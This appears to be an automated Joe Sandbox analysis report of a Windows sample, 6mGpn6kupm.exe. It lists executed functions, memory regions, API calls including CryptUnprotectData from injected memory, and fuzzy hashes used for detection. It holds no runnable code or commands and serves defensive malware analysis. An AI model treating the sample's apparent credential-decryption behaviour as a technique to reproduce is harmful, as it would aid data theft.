Associated: 00000000.00000002.1713218887.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_6mGpn6kupm.jbxd

Similarity

API ID: CharPrevlstrlen
String ID: C:\Users\user\Desktop
API String ID: 2709904686-3080008178
Opcode ID: e4f7a16c0d3aeb27420e4918e5816bacf7b9900a4c75110623d7ea7fd9e9117e
Instruction ID: 65148869c9b5617484fe42b3676c909fd92059a2a8224d2a454660f99163d925
Opcode Fuzzy Hash: e4f7a16c0d3aeb27420e4918e5816bacf7b9900a4c75110623d7ea7fd9e9117e
Instruction Fuzzy Hash: A3D0A7B7410920EAD3126B04DC04D9F73ACEF51300B46843BE840A7171D7785CD18BEC

Function 701C10E1 Relevance: 5.1, APIs: 4, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?), ref: 701C116A
GlobalFree.KERNEL32(00000000), ref: 701C11C7
GlobalFree.KERNEL32(00000000), ref: 701C11D9
GlobalFree.KERNEL32(?), ref: 701C1203

Memory Dump Source

Source File: 00000000.00000002.1749930895.00000000701C1000.00000020.00000001.01000000.00000004.sdmp, Offset: 701C0000, based on PE: true

Associated: 00000000.00000002.1749380141.00000000701C0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1749974424.00000000701C4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1750054487.00000000701C6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_701c0000_6mGpn6kupm.jbxd

Similarity

API ID: Global$Free$Alloc
String ID:
API String ID: 1780285237-0
Opcode ID: e5722fe885f7154cf7c225136fa8d9129c5acf79a9e04cc9d849368358761d0a
Instruction ID: f0113cbc914a2a90d6f4a586520847266d2947fb0898bc18b3b001a0d357c175
Opcode Fuzzy Hash: e5722fe885f7154cf7c225136fa8d9129c5acf79a9e04cc9d849368358761d0a
Instruction Fuzzy Hash: 1B31A0B65802019FD3009F75CD55B3F7BF8EB66310B264529FA42D7B24EB38D85187A1

Function 00405E43 Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00406128,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E53
lstrcmpiA.KERNEL32(00000000,00000000), ref: 00405E6B
CharNextA.USER32(00000000,?,00000000,00406128,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E7C
lstrlenA.KERNEL32(00000000,?,00000000,00406128,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E85

Memory Dump Source

Source File: 00000000.00000002.1713103639.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1713077925.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713122419.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713218887.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_6mGpn6kupm.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: 7e71a0af936693ae9f9191b5a8beeb80aa55241a483ed2e2c495a4152d25f7df
Instruction ID: 3eb9f18af2c16f81f4dc7877ab3147293eaebe45f2d41041cd024b5e05e36bdf
Opcode Fuzzy Hash: 7e71a0af936693ae9f9191b5a8beeb80aa55241a483ed2e2c495a4152d25f7df
Instruction Fuzzy Hash: 4AF0C831100514AFC7029B94DD4099FBBA8DF06354B25407AE844FB211D634DF01AB98

Analysis Process: 6mGpn6kupm.exePID: 3144, Parent PID: 8108COMMON

Execution Graph

Execution Coverage:	11.8%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	2.2%
Total number of Nodes:	277
Total number of Limit Nodes:	17

Executed Functions

Function 37FBE790 Relevance: 2.0, Strings: 1, Instructions: 764
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

p1q, xrefs: 37FBE828

Memory Dump Source

Source File: 00000005.00000002.2572038939.0000000037FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 37FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37fb0000_6mGpn6kupm.jbxd

Similarity

API ID:
String ID: p1q
API String ID: 0-2041350651
Opcode ID: 5fac89d7753fa5bb83b2fde3686a07c6e5c66e96cb9bbbb4fe2051c02d355dea
Instruction ID: 5c38421f627d8f2b1999559de4a4170dad1e26653d278cd44dd91a90ba8eb42f
Opcode Fuzzy Hash: 5fac89d7753fa5bb83b2fde3686a07c6e5c66e96cb9bbbb4fe2051c02d355dea
Instruction Fuzzy Hash: 7282B274A00228CFDB25DF64D894BA9B7B2FB89301F5085E9D80A77760DB319E82CF54

Function 37A8BDF0 Relevance: 2.0, Strings: 1, Instructions: 758
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

p1q, xrefs: 37A8BE7D

Memory Dump Source

Source File: 00000005.00000002.2571825445.0000000037A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 37A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37a80000_6mGpn6kupm.jbxd

Similarity

API ID:
String ID: p1q
API String ID: 0-2041350651
Opcode ID: 066c3f421827c5e30932fd45eb9f8664b115669e1da8149672bc22f6d630d0f0
Instruction ID: f1d0f069dc30797ae1e88ef345518c13dd336b0be8b97db0a1387eac05a3c0d5
Opcode Fuzzy Hash: 066c3f421827c5e30932fd45eb9f8664b115669e1da8149672bc22f6d630d0f0
Instruction Fuzzy Hash: 0072B374A01218CFEB25DF64D994BA9B7B2FB89301F5081E9D80A77760DB319E82CF54

Function 34CAD240 Relevance: 1.6, APIs: 1, Instructions: 77
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptUnprotectData.CRYPT32(000000A7,?,00000000,?,?,?,?), ref: 34CADA45

Memory Dump Source

Source File: 00000005.00000002.2567719037.0000000034CA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 34CA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_34ca0000_6mGpn6kupm.jbxd

Similarity

API ID: CryptDataUnprotect
String ID:
API String ID: 834300711-0
Opcode ID: b4f928e4155b0765b61e1144d5b903e42c8045d8bb96bac9a175f094e5860be8
Instruction ID: fc4f0b0e1f51faf0adb83e4b6943b881ae1b7a0f1bb63506cc9a630ddca5b6e7
Opcode Fuzzy Hash: b4f928e4155b0765b61e1144d5b903e42c8045d8bb96bac9a175f094e5860be8
Instruction Fuzzy Hash: FC31F276804389DFEB11CF99C444BEEBFB5EF49324F14805AE554A7252C3349980CBA6

Function 34CAD1EC Relevance: 1.6, APIs: 1, Instructions: 55
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptUnprotectData.CRYPT32(000000A7,?,00000000,?,?,?,?), ref: 34CADA45

Memory Dump Source

Source File: 00000005.00000002.2567719037.0000000034CA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 34CA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_34ca0000_6mGpn6kupm.jbxd

Similarity

API ID: CryptDataUnprotect
String ID:
API String ID: 834300711-0
Opcode ID: e118d55772674b7e31dd248c67d8bfcd4b218a2f08090db5532af199d9df90f3
Instruction ID: 3c0890b833f88e70db495b68403524db4c94a1f9428e2fd694d5c970c9415919
Opcode Fuzzy Hash: e118d55772674b7e31dd248c67d8bfcd4b218a2f08090db5532af199d9df90f3
Instruction Fuzzy Hash: 211114B68003499FDB10CF9AC845BEEBBF5EB48320F148419E918A7251C779A950DFA5

Function 34CAD9D9 Relevance: 1.6, APIs: 1, Instructions: 53
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptUnprotectData.CRYPT32(000000A7,?,00000000,?,?,?,?), ref: 34CADA45

Memory Dump Source

Source File: 00000005.00000002.2567719037.0000000034CA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 34CA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_34ca0000_6mGpn6kupm.jbxd

Similarity

API ID: CryptDataUnprotect
String ID:
API String ID: 834300711-0
Opcode ID: 06293e59dc3db7069ceb6168a5d8e48ba332407575c21523ccdfe8bf11328bb8
Instruction ID: 10648e783ba1cc9784cda967052bf8de30a90da24cb9623908c5605e1aea6c25
Opcode Fuzzy Hash: 06293e59dc3db7069ceb6168a5d8e48ba332407575c21523ccdfe8bf11328bb8
Instruction Fuzzy Hash: B21137B6800249DFDB10CF99C540BDEBBF2EB48320F148429EA54A7251C379A950DFA5

Function 00158DA0 Relevance: 1.1, Instructions: 1138COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2537695596.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_6mGpn6kupm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9dac6a819284bcf5e24460a284752b305588029314cff10cde9914141739684d
Instruction ID: becfadea2bfea254dbdf918c4f884e6e98bed1be5c359c48afbc2bbcecf2aadc
Opcode Fuzzy Hash: 9dac6a819284bcf5e24460a284752b305588029314cff10cde9914141739684d
Instruction Fuzzy Hash: 0CA27070A04209DFCB15CF68C994AAEBBB2FF88301F158559E815EF261D734ED89CB61

Function 37A88650 Relevance: .7, Instructions: 709COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2571825445.0000000037A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 37A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37a80000_6mGpn6kupm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 54a4ddaf6964ce6ab76dd4ab42e23a8e9c3e2c4a5752cb6526417ca29f6958c8
Instruction ID: b24d63d73c6b412831d73a1f6efa657edc213e63e774530f45b5b62146aa6449
Opcode Fuzzy Hash: 54a4ddaf6964ce6ab76dd4ab42e23a8e9c3e2c4a5752cb6526417ca29f6958c8
Instruction Fuzzy Hash: EF72BF74E052288FEB64DF69C984BDDBBB2BB49300F5081E9D859A7351DB34AE81CF50

Function 00155968 Relevance: .5, Instructions: 511COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2537695596.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_6mGpn6kupm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 77a5358a661a0b9b283869620bce97e3296ba7b7edebdb5cbaf789ce917572a8
Instruction ID: d36b74b549ef405cf9468c4ce72a780a07b423c5d6b3d2cf54bff196dd771a4b
Opcode Fuzzy Hash: 77a5358a661a0b9b283869620bce97e3296ba7b7edebdb5cbaf789ce917572a8
Instruction Fuzzy Hash: D6127071A00619CFDB14DF65C854BAEBBB6FF88301F148529E815EB391DB349D85CB90

Function 00155F90 Relevance: .5, Instructions: 467COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2537695596.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_6mGpn6kupm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 11d77f48cf11e8b3ffc201caa494f899023c506ee8ba6625995100b2cd473cb3
Instruction ID: baf3fe61b641a65b32b8ce01b0623520f63660b799b0b309a088b93dba1cb309
Opcode Fuzzy Hash: 11d77f48cf11e8b3ffc201caa494f899023c506ee8ba6625995100b2cd473cb3
Instruction Fuzzy Hash: 96124130A00219DFCB54CF69C994AADBBF2FF88315F958059E825EB261DB31DD85CB90

Function 34CAC638 Relevance: .3, Instructions: 324COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2567719037.0000000034CA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 34CA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_34ca0000_6mGpn6kupm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 04fec5bec201367cc5bacd5e313354004029cf88aef7103be5980a0ddd0841e9
Instruction ID: 352f5bb91a256de4e0acc7900418a4574536c2cc93cc1339fc99f79e87708eb2
Opcode Fuzzy Hash: 04fec5bec201367cc5bacd5e313354004029cf88aef7103be5980a0ddd0841e9
Instruction Fuzzy Hash: 8FE1C274E01218CFEB24CFA9C994B9DBBB2BF89300F1081A9D419B7291DB755E86CF51

Function 37A81858 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2571825445.0000000037A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 37A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37a80000_6mGpn6kupm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a9a788c693849ea0f6f348ab58686412a606d59d0026f582d8cb7ecc201b293e
Instruction ID: 4247f97047177dcc4d064155ace87d4e7323bb1577639c6731cf2296fa0c16a9
Opcode Fuzzy Hash: a9a788c693849ea0f6f348ab58686412a606d59d0026f582d8cb7ecc201b293e
Instruction Fuzzy Hash: 67C19F74E00218CFEB54DFA9C994B9DBBB2BF89300F5081A9D819BB355DB355A86CF10

Function 34CA03C4 Relevance: .3, Instructions: 265COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2567719037.0000000034CA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 34CA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_34ca0000_6mGpn6kupm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f3dc84172a6052a13b30453437af24c8482e3b3c63709cc8c62104119557bc57
Instruction ID: ea1b7e6895332da3e2b56a3d2094f39b4e8fdc93059ffe473bf1d3b1d4c0a65b
Opcode Fuzzy Hash: f3dc84172a6052a13b30453437af24c8482e3b3c63709cc8c62104119557bc57
Instruction Fuzzy Hash: F7C18E74E00218CFEB54DFA9C994B9DBBB2BF88304F1080A9D809BB355DB355A82CF14

Function 34CA0C1A Relevance: .2, Instructions: 225COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2567719037.0000000034CA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 34CA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_34ca0000_6mGpn6kupm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bc10ec58815a2a4d7549d28943a912d111b27b6f564849c179a1dd0fc860eb9c
Instruction ID: 3018b5f573afc10e011cf083ea14e7ac7e0f8a7a0c77d82b3d9f3afe72daabc0
Opcode Fuzzy Hash: bc10ec58815a2a4d7549d28943a912d111b27b6f564849c179a1dd0fc860eb9c
Instruction Fuzzy Hash: CFA1F374E002098FEB10DFA9C944BDDBBB2FF89304F208269E419BB291DB759985CF55

Function 34CA0C28 Relevance: .2, Instructions: 220COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2567719037.0000000034CA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 34CA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_34ca0000_6mGpn6kupm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b9e2d3c93828314fe42032dca84ffeb9696eb8eaa40d0812ad55e7dbb30952cc
Instruction ID: 04ba8e634791ef1a36235d30da2d4769ad0ceb1713cb8f2c6aba7584d51d7d7b
Opcode Fuzzy Hash: b9e2d3c93828314fe42032dca84ffeb9696eb8eaa40d0812ad55e7dbb30952cc
Instruction Fuzzy Hash: F3A10374D00209CFEB10DFA9C884B9DBBB2FF89314F208269E418BB2A1DB745985CF55

Function 37A89D10 Relevance: .2, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2571825445.0000000037A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 37A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37a80000_6mGpn6kupm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0f555d74545f7edb627f89159b4e090e3ae6f2ed6374e34662c2ee46e9c1384c
Instruction ID: 11acd23e09091e2a73129b5b37fa2b0e512a3578382fae10a58c0ad8ebb9d1dc
Opcode Fuzzy Hash: 0f555d74545f7edb627f89159b4e090e3ae6f2ed6374e34662c2ee46e9c1384c
Instruction Fuzzy Hash: F5A192B5E05218DFEB18CF6AC944B9DBBF2AF89300F14C1AAD808B7251DB745A85CF51

Function 37A8A360 Relevance: .2, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2571825445.0000000037A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 37A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37a80000_6mGpn6kupm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e28a0c0014ba5c2358035ed1bb251a245f9ea0a54b10779d05f387f53206d9ec
Instruction ID: 2f7d959305bb79ed8c7e5bfdaf50709ba67849e3a4ac19494a24f9b351f98f6a
Opcode Fuzzy Hash: e28a0c0014ba5c2358035ed1bb251a245f9ea0a54b10779d05f387f53206d9ec
Instruction Fuzzy Hash: 07A192B5E01218DFEB18CF6AC984B9DBBF2AB89300F14C1AAD408A7255DB345A85CF51

Function 37A896C8 Relevance: .2, Instructions: 218COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2571825445.0000000037A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 37A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37a80000_6mGpn6kupm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d2a27607303ee5cded4fde25569fe166d0c5c3bcbed967aad4e4775c603a20df
Instruction ID: 9a9a39ec47040d4b8ab30215d587e27961d682038d67201b69f05666ec046329
Opcode Fuzzy Hash: d2a27607303ee5cded4fde25569fe166d0c5c3bcbed967aad4e4775c603a20df
Instruction Fuzzy Hash: 80A180B5E052289FEB54CF6AC944B9DFBF2BB89300F14C1AAD808B7251DB745A85CF11

Function 37A8A9B0 Relevance: .2, Instructions: 218COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2571825445.0000000037A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 37A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37a80000_6mGpn6kupm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e91be2edfecc1cf6b853c767a3ff0b38d8aa814bcd8ea3a9339ac3e26d134238
Instruction ID: 2a6b6782605c3fb039b932f76a10b18807003b343820b784e9ae10d010f4f352
Opcode Fuzzy Hash: e91be2edfecc1cf6b853c767a3ff0b38d8aa814bcd8ea3a9339ac3e26d134238
Instruction Fuzzy Hash: 56A193B5E012189FEB54CF6AC984B9DBBF2BF89300F14C1AAD808B7251DB745A85CF11

Function 34CA0F6F Relevance: .2, Instructions: 202COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2567719037.0000000034CA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 34CA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_34ca0000_6mGpn6kupm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: edab22d41f3dc39191b14a83acff1c19ffd8cf47e1a49eb12dae85dda5a7969e
Instruction ID: 5b8f7fbd3e760a85a3f0f8f2038158ce8b1a4196bb4bdf0a484daa3c842ce3aa
Opcode Fuzzy Hash: edab22d41f3dc39191b14a83acff1c19ffd8cf47e1a49eb12dae85dda5a7969e
Instruction Fuzzy Hash: 0791E074A00219CFEB10DFA9C888B9DBBB1FF49310F208259E419BB291DB759985CF15

Function 00154328 Relevance: .2, Instructions: 194COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2537695596.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_6mGpn6kupm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 662689fed433c346564b94543ba981275c13031a882415366f9fe4b9e2d6bb5f
Instruction ID: ad839fe22e7cde6f9529c6ff0bd32dec9ce650b2585991af65671e60ff3057d8
Opcode Fuzzy Hash: 662689fed433c346564b94543ba981275c13031a882415366f9fe4b9e2d6bb5f
Instruction Fuzzy Hash: 6B91B574E00218DFEB14DFA9D884B9DBBF2BF89305F148069D819AB365DB349985CF50

Function 37A8BA97 Relevance: .2, Instructions: 191COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2571825445.0000000037A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 37A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37a80000_6mGpn6kupm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6f33fc0f329ce6d30bef022bc8d450037f5c42820bbf99b7d87f200ba659f8f5
Instruction ID: c303dfc0616ac0067caec7c4b863fac3f026000302b354660c3e723f0b7369c0
Opcode Fuzzy Hash: 6f33fc0f329ce6d30bef022bc8d450037f5c42820bbf99b7d87f200ba659f8f5
Instruction Fuzzy Hash: 5B81D474E00209DFEB14DFAAD95069EBBF2BF88310F248129D824BB399DB355942CF55

Function 37A896B8 Relevance: .2, Instructions: 167COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2571825445.0000000037A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 37A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37a80000_6mGpn6kupm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e4de05de018ceb9973edc60ae12c3c7c747b3c83db3fe6fc004b752f6304eb45
Instruction ID: ad53daccabbef00a5d55f6cbb2435a120fb09628c55c21f9ccd3e6ed2f63e7a0
Opcode Fuzzy Hash: e4de05de018ceb9973edc60ae12c3c7c747b3c83db3fe6fc004b752f6304eb45
Instruction Fuzzy Hash: C17193B5E01618CFEB58CF66C944B99BBF2AF89300F14C1AAD80CA7255DB345A85CF51

Function 37A8A9A0 Relevance: .2, Instructions: 166COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2571825445.0000000037A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 37A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37a80000_6mGpn6kupm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8cf56fc0e549dd6f3dbff7675a7adc88ab6e21b2f5867173682b1a4807a1c3a7
Instruction ID: 36c4770e263a4081e23fd614a77736069b7905c348d985dd5f69c5d0e1601b48
Opcode Fuzzy Hash: 8cf56fc0e549dd6f3dbff7675a7adc88ab6e21b2f5867173682b1a4807a1c3a7
Instruction Fuzzy Hash: 2E71A3B5E016189FEB58CF6AC944B9EBBF2AF89300F14C1AAD40CA7254DB345A85CF10

Function 37A88652 Relevance: .2, Instructions: 162COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2571825445.0000000037A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 37A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37a80000_6mGpn6kupm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8df5a0adb2dd020cff81bb603cc51bb76b64d294992553290bd345f87ad41acb
Instruction ID: 31cb9540794755dc33828b2685840944959a42de9673570b3229566983c7473a
Opcode Fuzzy Hash: 8df5a0adb2dd020cff81bb603cc51bb76b64d294992553290bd345f87ad41acb
Instruction Fuzzy Hash: F471C275E01228CFDB64CF6AC9847DDBBB2BF89301F1090AAD819B7250DB345A86CF50

Function 37A8C92F Relevance: .2, Instructions: 153COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2571825445.0000000037A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 37A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37a80000_6mGpn6kupm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 44117dbbd985fea079a4af52a04ebdb7d9570aad8185595c17636205d8dddbc6
Instruction ID: 4dfceaf141a658d24833bb401db25be49a683e9ab3a6f70b48e43dfa94af24c1
Opcode Fuzzy Hash: 44117dbbd985fea079a4af52a04ebdb7d9570aad8185595c17636205d8dddbc6
Instruction Fuzzy Hash: 8D610734A00258CFEF25DF64D894BADB7B2FB88700F1084AA990A777A4CB755D82DF14

Function 37A89D00 Relevance: .1, Instructions: 110COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2571825445.0000000037A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 37A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37a80000_6mGpn6kupm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cc53b53c3feb745cdfb163c53f64c591e2b14c6c3ed69a8f613b01f91d2752ce
Instruction ID: ce50824d4bdd3f1386239cfe66d05a4bb984f13a7bb65b4484a4cd81b7fbcbc2
Opcode Fuzzy Hash: cc53b53c3feb745cdfb163c53f64c591e2b14c6c3ed69a8f613b01f91d2752ce
Instruction Fuzzy Hash: E94179B1E016189BEB58CF6BCD447DAFAF3AFC9300F04C1AAC54CA6254DB740A868F51

Function 37A8A358 Relevance: .1, Instructions: 106COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2571825445.0000000037A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 37A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37a80000_6mGpn6kupm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b30098a69d2c94c92deecc875798fa8c82d9be813dcdd4243eed9696ded89e9a
Instruction ID: 917f16cfc4795f03745901e1dcf9c3422714fce57444c60423855468c5d9a063
Opcode Fuzzy Hash: b30098a69d2c94c92deecc875798fa8c82d9be813dcdd4243eed9696ded89e9a
Instruction Fuzzy Hash: 134159B1E016189BEB58CF6BCD457C9FAF3AFC9300F04C1AAD50CA6264DB740A868F51

Function 37FB0970 Relevance: 6.1, APIs: 4, Instructions: 135
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 37FB09FE
GetCurrentThread.KERNEL32 ref: 37FB0A3B
GetCurrentProcess.KERNEL32 ref: 37FB0A78
GetCurrentThreadId.KERNEL32 ref: 37FB0AD1

Memory Dump Source

Source File: 00000005.00000002.2572038939.0000000037FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 37FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37fb0000_6mGpn6kupm.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 711ca4d0ef426242c87918de5e719f18a0e1225ba4c81b41e6ba9891b59f61e3
Instruction ID: 2e4096bf24a78bb90cf0bf99b94c0295a18e24907d6f9c12ad0995420bc8ede9
Opcode Fuzzy Hash: 711ca4d0ef426242c87918de5e719f18a0e1225ba4c81b41e6ba9891b59f61e3
Instruction Fuzzy Hash: A35145B09012499FDB54CFAAC548B9EBBF0FB48310F248859D019B7261D7749981CF66

Function 37FB0980 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 37FB09FE
GetCurrentThread.KERNEL32 ref: 37FB0A3B
GetCurrentProcess.KERNEL32 ref: 37FB0A78
GetCurrentThreadId.KERNEL32 ref: 37FB0AD1

Memory Dump Source

Source File: 00000005.00000002.2572038939.0000000037FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 37FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37fb0000_6mGpn6kupm.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 8333493aaa88f582472b292cd70ca2960b270fad756368b20a450ffbbdfee92a
Instruction ID: c1d7e4a2f3a44f992dcac2bbb29309325a2108b862e9ca708d71ef01560f10af
Opcode Fuzzy Hash: 8333493aaa88f582472b292cd70ca2960b270fad756368b20a450ffbbdfee92a
Instruction Fuzzy Hash: 755145B09002098FDB14CFAAC548B9EBBF5FB48310F24C859E419B7361D774A981CF66

Function 37FB0104 Relevance: 1.6, APIs: 1, Instructions: 119
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 37FB0222

Memory Dump Source

Source File: 00000005.00000002.2572038939.0000000037FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 37FB0000, based on PE: false

